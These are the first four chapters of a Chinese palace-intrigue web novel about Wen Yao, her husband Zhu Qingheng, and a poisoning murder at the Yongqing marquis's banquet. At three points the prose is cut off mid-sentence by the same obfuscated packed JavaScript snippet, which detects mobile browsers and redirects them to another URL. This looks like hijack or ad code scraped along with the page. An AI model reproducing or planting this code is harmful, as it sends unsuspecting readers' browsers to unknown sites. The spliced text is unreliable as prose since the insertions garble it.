《和穿越夫君和离后》 1. 举头望明月 天光微蒙。 时已晚秋,霜露气愈发深重,夜里未殆尽的冷意浸在白墙枝桠里,半面萧索半面繁的桐树下,太傅府内各个院中已井然有序地燃了烛灯,侍女将盥洗用物送进院中主人房内,旋即低眉顺目地退下。 “今日城南书肆要进一批新书,我下朝后去选上些叫人送回来,你只告诉母亲有旁事耽搁,午膳不必等我了。” 祝清衡双臂展开,方便女人为他戴上腰间带銙。身前的女人如往常般应下,男人却若有所觉地垂目望向她乌黑的发顶,在她指尖抚平带銙将要退开时顺势抬手覆住她的手背,低声问,“怎么了,心情不好么?” 昨夜他便有所察觉,但温窈早早歇下没让他有机会细问。他与温窈成婚已有三载,从未有过离心,儿时他们是总角晏晏的青梅竹马,如今是心意相通的夫妻,没有什么是不能互相倾诉的。 温窈被他握住柔荑,闻言抬眸对上男人忧心的目光,轻笑道:“前天夜里不小心吹了冷风,这两日有些头疼,不碍事。” 祝清衡眉间拧起,还要多问什么,温窈却已转身捧来冠帽,道:“上朝耽误不得,别让父亲等着,嗯?” 祝清衡虽瞧着不过二十四五,在朝中却是正经的四品官,他的亲父祝正和更是身兼二职,既是当朝太傅,又任御史大夫,深得皇帝信任。而祝清衡作为祝家独子,自幼天姿斐然,年纪轻轻便是圣上钦点的大理寺少卿,父子二人一同上朝已是常事。 “若是何处受了委屈,定要同我说,”祝清衡听出她话中回避之意,心下已有猜测,却不能明言,转而道,“明日正好朝中休沐,道南说安平街新开了家酒楼……” 如今朝中正是多事之秋,三月前被皇帝重翻出来的陈年老案还没有眉目,他们夫妻却因朝事忙碌许久不曾温存,正好趁他休沐能…… “半月前永庆侯府递了请帖,明日是永庆侯老夫人的贺寿宴。” 男人心思不在正事,温窈无奈接替他的动作为他系上帽带,又被他攥住了手,只好温声安抚,“永庆侯和父亲是旧交,不可没了礼数。” 似乎是有这回事,祝清衡面色微黑,错过了明日又不知猴年马月才能和温窈过上二人世界,然而不等他再争取,外间不合时宜地响起了敲门声,旋即传来祝清衡贴身侍从的声音,“大人,时辰不早了。” 祝清衡清俊的面容更难看几分,温窈轻轻拍了拍他的手臂,示意他不要耽搁。 哪怕心中千万个不乐意,进宫上朝是无论如何都不能迟误的,男人转身要走,身后之人却忽然出声叫住他。 “清衡,当年那桩案子机关虽破,却并非全貌,若无头绪,可着手于此。” 三年来,大理寺大大小小的案子多少都经由祝清衡之手过过温窈的耳目。 唯独这一桩,没有。 祝清衡步履顿住,分明听了明白,但迟迟没有回身,直到门外催促的敲门声再次响起,他才匆匆撂下一声“好”,头也不回地出了门。 温窈静静坐在里间,似是穿过银檀绣屏望着什么,也许是望消失的丈夫背影,也许只是看那扇紧闭的门。 天光彻亮之时,琉锦将药汤端进屋中,透过屏风隐约见温窈手中持着针线绣绷,便顺势先把托着瓷碗的木案放到一旁,还未说话,跟在她身后的嬷嬷却斥道:“放下做什么,你又不是第一日侍奉,此等大事耽搁了谁都担待不起,快快给少夫人送去。” 狗仗人势的东西。 琉锦深吸一口气,不等她辩驳,内间的女人已然放下手中事物,柔声道:“无妨,进来吧。” 那嬷嬷的责备没有收声,但凡是在屋内的人都能清楚听见,这话是说给琉锦听的,又何妨不是借势说给温窈听的。 温窈面色不改地接过汤药,这药她满打满算喝了一月有余,早就习惯了其涩苦难闻的气味,一饮而尽。 徐嬷嬷眼如棱刀地盯着女人喝完,确保她没有耍任何把戏,这才眉开眼笑起来,说了两句好话,“良药苦口,少夫人只需忍过些日子,待怀上亲子,您受的苦便都值得了。” “母亲为祝家子嗣用心良苦,温窈省得。” 女人接过素帕拭净唇角余渍,长睫掀起,将徐嬷嬷尖刻假笑的嘴脸纳进眼底,倏然对她弯唇笑了笑。 徐嬷嬷眉弓上的皮肉一跳,自温窈进府以来鲜少有人见过她的笑颜,更何况她近来日日//逼迫温窈饮下生子药,她不厌恨自己已是稀奇…… 她怔愣之际,便见不过桃李年华的少夫人启唇,“徐嬷嬷是母亲身边的老人,又曾在宫中侍奉过太妃娘娘,便是父亲大人也要敬您两分。” 正如温窈所言,徐嬷嬷“功绩了得”,一个常年浸生在深宫内宅的人,又怎会听不出她话中语气绝非夸赞。 老妪脸色已然沉下去,温窈却起身行至她身前——她的身量比徐嬷嬷高出许多,俯眼注视面前的老妪时眼风不动,颌角稳平,唯一双微垂的柳叶眼眼尾轻挑,明明只是一个深院妇人,竟平白叫徐嬷嬷生出面见权臣王族时才有的压迫感。 “徐嬷嬷,”温窈的声音一如既往地柔和,“这些时日您奉母亲之命日日照顾我服药,我心中十分感激。” 徐嬷嬷面皮轻抖,勉强回道:“少夫人言重了。” “不过,嬷嬷年事高了,管理府中仆从婢子已是不易,青云院的事,您便少费心罢。” “合该多费心些,”祝正和灰白的眉毛拧着,不甚满意地拍了拍身边心不在焉的儿子,低斥道,“你今日怎么回事,晨起晚了便罢了,方才殿内陛下问话,你又发什么楞?” 祝清衡倏地回过神来,才发觉已走到宫外,转脸看清父亲恨铁不成钢的面容,方想起下朝后祝正和似乎在他耳边念叨许久他都不曾理会,自知理亏,语气也低下去,“儿子知错。” 他认错速度快,祝正和只当他是累了,不厌其烦地将被他当耳旁风的话又说了一遍,“陛下对这桩案子重视非常,更何况此案和当年旧案脱不了干系,以陛下的性子必定深查。此案既交给了大理寺,便是陛下对大理寺的信任,你虽是少卿,也万万要多费心些。” 祝清衡颔首,“儿子知道了。” 说来也奇怪,当今皇帝继位后不久便以先帝遗旨的名义组建了一支名为伏龙使的精兵属卫,直隶于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15181861|165315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帝王,代天子行事,监百官查百案——眼下这桩案子交到大理寺后进展十分缓慢,足足三月都没能上交皇帝一份实质性的答呈,若按寻常帝王早已发怒,然而此次皇帝却迟迟没有将案子转交给伏龙使。 而方才朝上皇帝当着众臣百官发问,大理寺卿方宏山自请罚俸也要把这“烫手山芋”甩了去,皇帝竟也不应,只让大理寺细细再查。 三月前发生的案子说白了是桩因仇谋杀之命案,不过因为死者是朝堂命官而备受关注,然凶手被捕后却畏罪自尽,只留下一封似是而非的自白书信。 也就是因为这封书信,将原本简单的“寻仇谋杀”和尘封十三年的旧案牵连到一起,偏偏这桩旧案又和…… 祝清衡不由拧眉抿唇,心中莫名滋生出几分不安和焦虑。 “你也不必过于担忧,”祝正和见他眉头紧拢,宽慰道,“为父记得当年的案子似是你岳丈温丞相一手操办,不若你与方大人一同去……” “所有卷宗都已调到大理寺了,再找岳父不过平添麻烦,”祝清衡下意识抗拒,随即察觉自己语气过激,放缓声音解释,“岳父公务繁忙,还是尽量不打扰得好。” 今日的祝清衡显然状态不对,祝正和倒不至于因此和小辈置气,转而问:“可是你院中出了什么事?” 朝堂上的是非祝正和自然了若指掌,如今的案子虽说棘手,但都已拖了三月不急于一时,必定是家里的事。 “父亲可知……母亲近来在做什么?”既然祝正和这般问了,祝清衡正好能借此应证心中猜想,“小窈最近……总是心绪不宁。” 祝正和沉默了一瞬,他倒是清楚臧翡的作为,只是祝清衡一心扑在温窈身上,若是直说怕是会伤了母子和气,“你母亲也是为了你们好,更是为了这个家。” 此话一出祝清衡便心里有了数,面上不曾表露出什么情绪,转而道:“父亲先行归家罢,孩儿今日与书肆老板约定了选书。” 他是城南书肆的常客,基本每月都要去这么一回,祝正和允了他去,同他在宫门前分开,临行又想起什么嘱咐道:“明日一早要去永庆侯府贺寿,莫要像今早耽搁了,不可坏了礼数。” * 皇宫距离城南书肆不算太远,祝清衡到书肆之时正巧碰上店家清点新书,“贺老板。” 贺千堂闻声回头,见是祝清衡,立马招呼道:“大人来得正好,这批新书都是从江南选的,绝对合您胃口!” “把游记都包起来吧,”祝清衡轻车熟路地翻看了几本,话里有话道,“一些稀奇古怪的,也包起来,内子爱看。” “诶!”贺千堂连忙让伙计去办,“那和往常一样,直接帮您送到太傅府去。” 祝清衡应了,眸光仍在书肆内各墙上张挂的书画上流连,似是随口问了一句,“上回我在墙上看到一副书法,虽笔劲差些,但写的内容……” 他作势皱眉思索,试探着说:“好像是什么‘举头望明月,低头思故乡’?” 祝清衡看着贺千堂笑了笑,“我回去左思右想,深觉能写出此等诗句之人,值得结识,不知贺老板方便引荐否?” 2. 低头思故乡 翌日一早去往永庆侯府的马车便已在太傅府前候着,祝家人不多,祝正和虽居高位,却是出身于楼平县县令的家仆子,机缘巧合下受到当年在楼平县微服私访的宣怀帝赏识才有机会走到现在的地位。 自祝清衡有记忆来便未曾见过祝家旁余的亲戚,就连早逝的祖父母也鲜少听祝正和提及。 而祝清衡的母亲臧翡出自岭南臧氏,嫁予祝正和后两人定居长安,世事易变,久而久之臧翡同母家的联系也愈少。 好在祝正和家风清正,与臧翡成婚多年来未有纳妾,太傅府中常年只有祝正和与祝清衡父子夫妻,比起别家高门大户清净许多。 “父亲、母亲。” 祝清衡和温窈虽与长辈是分坐两辆马车,但该有的礼节不能疏忽。祝正和本要再交代几句,却见身边的臧翡神色淡淡地带着身边的嬷嬷先一步上了马车,遂也歇了话气,挥手叫两个小辈去了。 “你别往心里去。”祝清衡看着仆从放下车前帷裳,自然而然牵住温窈的手。 他娘的性子他最是清楚,臧翡明瞧着严厉冷漠,未尝是对温窈有多不满,否则当初不会履行与温家口头定下的娃娃亲,他不想温窈因此对臧翡心生芥蒂,“母亲向来是刀子嘴豆腐心,待消了气便好了。” 温窈没有说话,祝清衡小心摩挲着她柔软的虎口,带着些隐秘的讨好意味。 马车轻晃着启驶,女人清泠的嗓音有些突兀地落在他耳畔,“清衡,你想要孩子么?” 祝清衡怔住。 他很快反应过来这个问题意味着什么,“母亲是不是又……?你大可安心,她那边交给我便是,待晚些归家我就……” “我是在问你,”温窈眸色注视着他,秋水般的瞳光几乎温柔得像绵云,“如果没有当年那件事,你会想要孩子吗?” * 今日的永庆侯府甚是热闹,无他,永庆侯的曾祖是兖朝开朝元老薄丞薄将军,曾为开国皇帝武嘉帝立下汗马功劳,福荫三代; 而今日寿宴的主角敬仁老夫人是如今永庆侯的祖母——大兖无人不知无人不晓,敬仁老夫人年轻时也曾是巾帼不让须眉的女将军,三十年前与辽羌怀山鏖战时一战成名。 可惜自那之后,敬仁老夫人便患染顽疾,无缘沙场。 但那一战的威名足以让整个大兖尊重她、敬仰她,以至于会愈加厚待她的后代。 “御史夫人、少卿夫人,这边请。” 按大兖礼制,除宫廷设宴外,凡聚众宴会均按男女分席,是故送过贺礼后温窈便随着臧翡去往女席,祝清衡则同祝正和留在前堂。 虽说温窈与臧翡是婆媳,但客家安排席位往往先考虑到年龄身份,因此两人什么话都不曾说便分开了。 和温窈同席的左不过也是朝官的妻女,三两人小声攀谈着,温窈只是坐在其中,并不探听,也不参与。 其实永庆侯府时至今日已不见当年辉煌,到如今的永庆侯薄翰一脉不论是薄翰自身还是其膝下孩儿都不过是碌碌平庸之才,全靠薄丞将军和敬仁老夫人的余荫得以在长安站稳脚跟。 是故敬仁老夫人大寿,无论永庆侯要打什么心思主意,都是要大操大办的。 “少卿夫人?” 这一席落座的“少卿夫人”似乎只有她。温窈转眸望去,见是一张有些熟悉的脸,应是有过几面之缘,但她一时想不起来名姓,只好对着女人颔首以示礼貌。 “妾身瞧少卿夫人腰间的香袋模样十分讨喜,”那女人看着和温窈年岁相当,穿着一身藕色裙裳,含笑说,“冒昧问问少卿夫人是在何处买的?” 温窈视线在她唇边弯翘的弧度微顿,回道:“是我阿娘绣的。” 藕衣女子神色吃惊,“没想到御史夫人竟有如此手艺。” 温窈掩在衣袂下的指节轻点了两下,没有纠正她,也没有如女子所期同她多说上两句话。 白婉柔暗暗咬唇,将身子朝温窈的方向靠近了些,“不知少卿夫人可否取下供妾身以观,妹妹瞧着实在喜欢得紧……” 又是“妾身”又是“妹妹”的,旁人听着只以为两人有多么熟稔,温窈看了她一眼,恍惚间白婉柔仿佛察出了几分笑睨的意味,就好像…… 就好像温窈已然看穿了她的把戏,权当逗乐一般。 白婉柔被自己下意识的想法一惊,还没醒过神身子便被人轻扯着拽了回去,贴身侍女略微着急的声音在她耳边响起,“夫人,您可怀着身孕,多少仔细着些……不明的香物还是不要接触得好。” 她的侍女听着有意压低了嗓子,可席间之人坐得都不远,哪能听不出这对主仆一唱一和的目的,不过是懒得惹火烧身,也听个笑场。 候在温窈身后的琉银几乎忍不住要上前与其争论,然见温窈只是神色如常地端起茶盏轻抿了两口,恍若未闻般。 琉银同琉锦一样是温窈从丞相府带进祝家的侍女,只一眼便看出温窈的态度,遂止住了动作。 无人搭理在乎的戏自然是独角戏,宛如一巴掌扇进水里,有劲儿也被水冲散了。 她费尽心思明涵暗射,到头来根本没被人放在眼里,白婉柔算盘落空,再拉不下面子去攀扯,手中绣帕搅成一团,脸色称不上好看。 “这位是寺丞夫人吧?”约莫是两人之间骤然的沉寂过于尴尬,一旁终于有人开口打圆场,“寺丞夫人既然怀有身孕,自是要当心着些,不可随性而行了。” 这话听着像是向着白婉柔,实则更像是敲打她过于“随性”。 白婉柔瞧说话那人望去,她认得此人是步兵校尉陈治的夫人李氏李若芊,陈治是武将,且官级比她夫君穆文元的要高,眼下如此情形还是莫要再添是非了,于是顺理成章接着她给的台阶下,“夫人说的是。” 温窈放下杯盏,对上李若芊投来的温和目光。 李若芊没有敌意,眸色却饱含了几分不算隐晦的同情。她和李若芊不算生疏,豆蔻时也是闺中密友,不过在两人分别出嫁后关系便越来越淡,如今见面连话也说不上两句了。 不过托李若芊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15181862|165315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帮衬的福,温窈总算记起一些关于身边这位寺丞夫人的事。 她和白婉柔并不相熟,更谈不上有私怨,白婉柔非要拐着弯来“膈应”她,盖因祝清衡。 大兖选官,多由州郡推举,时有皇帝亲择;宣怀帝年间虽增设考试,但官职擢升的掌控权,大都在权臣贵族、更甚于皇帝手中。 而在祝清衡被钦点为大理寺少卿前,最有希望晋升此位的官员,便是白婉柔的夫君。 如此白婉柔的作为倒也合情合理,温窈半垂下眼帘,仿佛仍不觉察四周窃窃窥探的目光。 她的沉默似又无形中助长了窥探者的气焰。 “昔年才貌冠绝长安的温姑娘,竟是也沦落到被人指指点点的地步了。” 将女席与前堂隔绝的风屏不远处,不知何时站着两个华服女人。个子高些的华发已生,面容隐约有病气,身边的侍女离她很近,细看能瞧出侍女在暗中搀扶;个矮些的不过花信之年,眉眼平和若湖,乍看与温窈有些神似,然眸光跃动时竟像一柄藏锋利刃,必然是身居高位者。 “虎落平阳,”永平悠悠笑了笑,主动上前搀上敬仁夫人的小臂,“不若徐姨同我赌上一赌?” “赌?”敬仁老夫人、徐婵觉得有意思,生出一丝兴趣,被病气熏染浑浊的眼珠仿佛都破出了两分清明,“你要赌什么?” 温窈的生父是当朝丞相,公爹是御史大夫,而丈夫是前途明朗的大理寺少卿——全长安再难寻出一位有她这般“殊荣”的贵女了,可惜,即便身边权势如云,她依旧只是一个会因为“三年生不出孩子”而备受奚落的女人。 父公丈夫的荣耀,对她来说不过是几点连烛火都比不上的“日辉”罢了。 “就赌……”永平遥遥望向衣香鬓影中清瘦挺直的背影,轻轻弯眸道,“赌她的野心。” “从未湮没。” 又或者,本就在日复一日的蓬长。 女席中,温窈若有所觉般回头,在人影绰绰中捕捉到琉锦的身形。 “姑娘,”琉锦垂首,悄然无息地靠近女人,低声道,“温丞相已前来赴宴,未见山娘子。” * 昏暗的静室内,泠泠的筝音如溪山流水轻淌,仿佛隔绝了一切喧哗。 云杉屏外跪坐着一女子,青衣迤地,鹅颈微俯,素手拨弦。 屏风内,被窗纸遮住光景的窗榻下,模糊可见一道人影,不拘节礼地横躺其上。 一曲毕,女子沉了口气,指节覆住余音微振的琴弦,轻声开口唤道:“薄公子?” 沉寂的屋中,无人应答。 女子试探着从筝台前离开,小心行至云屏边,借着屋室门缝的透光看向窗榻上的人。 男人半身不遂地倚着塌枕,两眼翻白,口吐白沫,身体却像枯木横亘着一动不动。 女子被惊得后跌在地,眼睁睁看着一条红纹绿蛇从男人身下游爬出来。 “啊——!!” 女人尖锐的叫声穿破静室的屋瓦,粉饰的祥和登时破碎。 3. 人烟寒橘柚 永庆侯长子薄岑死了。 薄岑身死的静室在侯府后院的祠堂旁。祠堂供养先祖,除去逢年过节永庆侯会率族人在此参拜外,此处向来冷清,却因此成了薄岑私带名妓厮混的去处。 直到事发,永庆侯薄翰才得知长子在府中的“招摇”作为,听闻当即怒急攻心,口中呕血晕了过去。 永庆侯夫人一面饱受丧子之痛,一面要担心卧病在床的丈夫,自也无暇顾及其他——偌大的永庆侯府一时兵荒马乱,本该欢乐和谐的寿辰转眼间化为忌日,最后站出来主持大局的,竟只有真正久病在身的敬仁老夫人。 “去报官!” 老夫人话音方落,另一边响起的声音瞬时打断了她的布筹。 “陛下、长公主到——” 纷乱间,陡然出现的太监细嗓更是令众人惊魂未定。 皇帝怎么会来?! 不等他们细想猜测,身体已然顺从地跪伏恭迎,唯有从各人眼前一晃而过的玄色暗金纹袍昭示着一个事实。 皇帝当真亲临了永庆侯府! 也不怪众人惊异,当今皇帝谢岐自继位以来,最出名的并非励精图治、勤政爱民,而是薄情寡欲、冷心冷肺。 一来谢岐登基两年有余,后宫空无一人,便是他做宁王时都无有通房侍妾; 二来诸臣曾亲眼目睹谢岐当朝斩杀瑞王、他年仅十三的亲弟。 自此虽人人不说,但人人都惧:一切可能惹怒谢岐的事,自然是避之不及。 甭说上书奏请皇帝纳妃,就是奏呈里出现一个“瑞”字,他们都恨不得绞尽脑汁换个说辞。 哪怕之后的谢岐一直中规中矩,留在众人心中的阴影始终难以消抹。 而朝堂上下,谢岐除了给祝正和这个太傅两分薄面,其余一律视若同人,无论何人的邀帖递进御书房,从不见皇帝出席。 此番,难道是给已逝的薄丞将军面子? 只是当真不巧,皇帝头一次赴宴,竟赶上这样的事…… “大理寺何在?”是皇帝的近侍太监文福。 大理寺卿方宏山忙不迭从人群中走出,“臣在。” “伏龙使正在验尸,”文福公公道,“陛下叫您进去看看。” 方宏山应下,抬头见文福的视线仍在众人间逡巡。 片刻后,文福目光定定地瞧着祝清衡,“少卿大人,您也一道罢。” 直到文福带着人离开,众人才松了口气。 他们虽不知皇帝是什么时候到的永庆侯府,但明眼人能看出,皇帝恐怕一开始并不想暴露身份。 薄岑的死太过突然又太过蹊跷,其中必然有什么不可告知的缘由,才会让皇帝亲领伏龙使前来验尸。 不过有天子和伏龙使在,人人先前因突闻旁人死讯的惶然消散不少,在敬仁老夫人的安排下勉强耐住性子坐回席位上,等待天子发话。 日偏西移。 通往祠堂的小径终于出现人影,不是皇帝,而是永平长公主。 “从此刻起,侯府内任何人不可踏出府门半步。” 寂静中,永平洪亮的声音为薄岑的死敲下定论。 谋杀。 * 薄岑的纨绔之名称得上长安遍闻。 他虽是永庆侯的长子,生母却只是侯府中一位无名通房,因善绣艺,侯府中人大多唤她“巧娘”。 巧娘生下薄岑不久便因病离世,薄岑还在襁褓时便被永庆侯夫人詹素养在膝下,即便仅一年后詹素就生了自己的亲生孩子,她对待薄岑依旧尽心尽力、犹如亲母。 可惜薄岑天生烂泥扶不上墙,尽管詹素悉心教导,终究没将他引上正途;在詹素的儿子薄珏被封为世子、远赴淮南外祖府上拜师后尤甚,彻底踏上了纨绔的不归路,夜宿花街柳巷早是家常便饭。 “陛下,此为薄家长子近三月行径记录。” “陛下,侯府中人皆已审问完毕,此为笔录。” “陛下……” 谢岐眸光半阖,指尖在檀椅扶手上轻敲两下,“人醒了么?” 最先发现薄岑身死之人便是与他同在一室的青楼女子,也因这青楼女子的尖叫才吸引了侯府管家前去查看,然管家推门入内时,那女子已吓昏了过去。 “醒了,”候在下方的劲衣男人立刻回道,“大理寺少卿正在审问。” 许是想起了什么,谢岐掀起眼皮,幽幽问:“薄岑所中之毒有结果了吗?” 谢丑顿了一下,撩袍跪了下去,“属下等无能。” “周天辰的案子你们也是这般说的,”谢岐扯了扯唇角,面上却看不出一丝笑意,“朕养你们,究竟有何用呢?” “陛下恕罪!”谢丑将头低得更低,“此毒罕见,属下们虽没能查出毒源,但却由此毒寻到了一条线索。” 不知不觉间,原本身坐堂前之人已行至他面前,叫他能清清楚楚看清皇帝鞋靴上的龙纹。 “说。” 谢丑如蒙大赦,飞快道:“薄大公子所中之毒蹊跷,无色无形、不留痕迹,与三月前谋害周大人的凶手自尽所用之毒异曲同工。” 正因为此毒无形,杀死周天辰的凶手才能在被大理寺抓捕后转押诏狱时躲过所有伏龙使的眼睛,自尽于牢中。 “此毒不会出自大兖,”谢岐眉间微耸,“查辽羌、南苗……包括淮南一带。” 毒不是大兖的,但带毒的人可以是。 谢丑领命要退,又听皇帝问:“参宴之人中,可有人形迹诡疑?” 永庆侯邀宴来的人多半是朝臣,真正的“王公贵族”只有皇帝和长公主,余下尽是孩童女眷。 所有参宴之人都已接受讯问,笔录尽数在册,皇帝已翻看过——可疑之人皆在伏龙使的监视之下,谢丑并不觉得皇帝是在问此事。 但他仍道:“属下已吩咐将可疑者暗中监控。” 谢岐似是冷笑了一下,颇有些咬牙切齿的意味,“谢子什么时候回来?” 他受够这个死脑筋木头了。 * 临近宵禁时,众人才得到皇帝的允许离开永庆侯府。 皇帝明令,今日所有出现在永庆侯府之人在查明真凶前一律不允离开长安,时刻配合伏龙使查案。 至于薄岑是怎么死的、死的时候是什么模样,除了永庆侯自家人和皇帝、长公主,只有伏龙使和大理寺的人知道。 然而越捂得严实的秘密越像包不住的火,次日一早永庆侯府长子横死家中的消息便传得满城风雨。 若单只是薄岑之死恐怕掀不起如此大的风波,背后之人推波助澜的目的在于…… “什么?杀死永庆侯大公子和杀死周大人的凶手是一个人?!” “可杀周大人的凶手不是已经畏罪自尽了么?!” “听说没,周大人好像是十三年前长孙氏灭门惨案的余孤!” ——他要整个长安,再无安宁。 * “姑娘、姑娘?” 琉银轻声唤着软榻上浅眠的女人。 温窈半睁着眼,神色蒙着几分午后的怠倦,“怎么?” “在太傅府还是唤姑娘少夫人得好,”琉锦比琉银年长些,忍不住点了点她的脑袋,接过她的话说,“伏龙使来人了。” 温窈面色一怔,坐起身披上外衣,问:“母亲已去迎了么?” “是,”琉锦服侍她迅速穿戴整齐,脸色有些疑虑,“我听传话的婆子说,是点名要您去。” …… “非你不可?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“……谢大人。”温窈眸光掠过四周,已经没有臧翡的身影。 而堂外楼阶下,分别守着和男人同样服饰之人,一并将琉锦琉银挡在堂外。 “大人不敢当,夫人叫我谢子便好。”谢子略微僵硬地拉起唇角,并指请道,“今日冒昧来访,只是想向夫人请教些问题。” “薄公子出事那日我并未离开席位,当时我身边的女眷都可证明,”温窈没有按他的意思坐下,她背光站在堂中,叫人看不清面上的神情,“我并不知晓什么,谢大人不必在我身上浪费时间。” 谢子了然点头,从怀中掏出一张薄纸展开放到温窈眼下,“夫人若能助伏龙使解其奥秘,伏龙使将感激不尽。” 温窈瞥开视线,轻笑道:“谢大人说笑了,我不过一介深闺妇人,如何能比肩伏龙使。” “夫人莫要自谦,”谢子仿佛听不出她言语中的抗拒,用方才府中人的奉茶压住薄纸一角,“此机关是在薄大公子房中发现的,事关真相,还望夫人出手相助。” “不论事关谁的真相,”温窈侧过身,被暗影模糊的面容在光线下逐渐清晰,原本平静的脸色不知何时露出几分寒鞘的冷厉,“与我无关。” 她不愿和谢子多纠缠,伏龙使只听一个人的命令,她更不想和伏龙使背后的人有任何牵扯。 “温姑娘。” 在温窈的背影即将消失在伏龙使视线中时,谢子忽地出声。 “主上说,只要您愿意解此机关,作为交换,伏龙使可帮您做任何事。” “包括找您想找的人,查您想知道的事。” 温窈没有回头。 4. 秋色老梧桐 夜色冷清,院中梧桐的枯叶落得厉害,哪怕仆从时时清扫,不消片刻青砖上便又零散掉了一层。 自那日永庆侯府出事后,祝清衡下值的时间越来越晚,常常回府时月已中天。起初温窈总留灯等他,但他归家时候不定,也心疼温窈的身子,于是哄着她不必管自己。 只是这般他们夫妻聊话的机会便少了许多。白日他要上朝点卯,大理寺又不是清闲的地方,一旦有案子便忙得不可开交;而温窈虽留在府中,但作为儿媳自是要辅助臧翡管理中馈,加之要费心人情往来,不见得轻松多少。 祝清衡舒了口气,正要回房,等候的侍从立即上前对他耳语了些什么,男人眸色轻变,却只将其挥退,独自推开了房门。 他同温窈提过不用等自己后,温窈便会在外间给他留一盏烛火,然而今日…… 祝清衡将屋门关好,脑中下意识闪过方才仆从禀告的话,试探唤了一声,“窈窈?” 内间又亮了一盏灯,眼下夜至三更,平日里温窈早已歇下。祝清衡抿唇,一面脱下外衣一面绕过屏风走进去。 果然,温窈坐在小榻上,手边还倒扣着一本包了书衣的书,显然是专门在等他。 “里头温着水,”温窈看起来与寻常无二,起身接过他换下的衣物,“沐浴的物事都备好了,去吧。” 她既这么说,祝清衡只好憋下涌到嗓子口的话。 在大理寺任职,基本日日都要外出查案或去牢房审讯,免不得会沾染风尘和气味,他自己闻着也不舒坦。 “窈窈?” 男人进去了约莫两刻钟,忽然扬声喊她。温窈眉目未抬,视线还在书上,“怎么?” “这里头只放了亵衣,”祝清衡的声音似乎都浸了水汽,有种雾蒙蒙的意味,“没有亵裤。” 温窈轻挑了下眉。 洗室里的东西都是由侍女仔细安置的,祝清衡寻的这个理由着实拙劣。 但她还是打开柜笥探身去寻,身后却被裹着温凉气息的人拥了满怀。 男人抵着她的肩闷闷道:“今日伏龙使的人来寻你了?” 温窈一怔,意识到是府里的人告知他的,轻轻“嗯”了一声。 “因为薄岑的案子?”祝清衡没放开她,双臂箍在女人腰间,呼吸倾洒在她耳廓,“那张机关图,我在伏龙使手中瞧见过。” “是只在薄公子房中发现了图纸,还是已经找到了构建好的机关?”温窈下意识多问了两句,男人便将她拥得愈发用力,颇有不悦地叼着她脖颈上的软肉磨了磨。 温窈:“……” 她抬肩挣脱男人的桎梏,转身视线扫过他下//半身穿好的亵裤,又掀起眼皮看向他,含义不言而喻。 “……只是图纸。”祝清衡率先败下阵来,拉着她坐到方才她小憩的小榻上,顺手拿走她扣在几案上的书翻看两眼,“是前几日送来的新书么?” “嗯,”温窈无奈,“这么晚下值还胡闹,你不困吗?” “那你呢,”温窈爱看的书大多晦涩难懂,祝清衡随意瞟了两眼就放下了,眼睛望向她,“今夜特地等我,是有事和我说?” 两人挤在一张小榻上,祝清衡撂下书后干脆将自己也撂下,长腿屈着硬要枕在温窈腿上,攥着她的手指玩。 “是有事,”温窈垂眸道,“明日我想回丞相府一趟。” 祝清衡摆弄她柔荑的动作一顿,体贴地没有追问原因,半晌道:“好。” 他坐起来伸臂将温窈揽住,温声说:“母亲那边不用担心,我去说。” 兴许是祝清衡态度还算自然,温窈心中不由松了口气。女子出嫁后若非特定时日鲜少能回娘家,虽说祝清衡许多事都依着她,但不代表她能直接无视夫家回去。 “我许久没收到阿娘的消息了,”她略微放松地靠在他肩头,犹豫着解释,“那日永庆侯府设宴,父亲去了,却不见阿娘。” 她感觉男人握住她小臂的手紧了紧,耳边传来的声音好像也涩然了几分,“那确实应当去探望……不如明日我向上面告假,与你一同去。” “如今大家都忙着,恐不合规矩,”温窈蹙眉,安抚地握了握男人的手,意外发现他的手掌凉得惊人,转而关心道,“近来你忙得脚不沾地,别染了风寒,手怎么这么冰?” “没事,”祝清衡笑了笑,将要起来探他额头的人按回怀里,“让我抱一会儿。” 屋中静下来,偶能听见烛芯啪嗒的响声。 良久,温窈轻声开口,“……怎么了?” 她和祝清衡七岁相识,算得上一起长大,上一次祝清衡这般,还是在成婚之前。 如今的皇帝即位不过两载,而宣怀帝在位时,祝清衡的父亲祝正和虽身在长安当职,但不过是一个九品史官。 而温窈的亲父温长风在那时已是丞相,家门悬殊,两家却意外结缘。 温窈幼时因亲母山辛夷生下她之后垮了身子,不得不被温长风送往青山外祖家,恰巧祝正和奉旨前往青山寻找古籍,此事归期不定,于是宣怀帝特许他携家带口,祝家在青山的落脚处,正好在温窈外祖家隔壁。 彼时两家双双不知对方身份,而温窈又与祝清衡年纪相仿,一来二去便熟悉起来。 但真正让两家关系亲近的,是在温长风将温窈接回长安之时。 那时祝正和已寻到古籍,便与他们一同归京,不料路上突遇匪寇,混乱中是祝正和舍命相救,才保住了温长风父女的命。 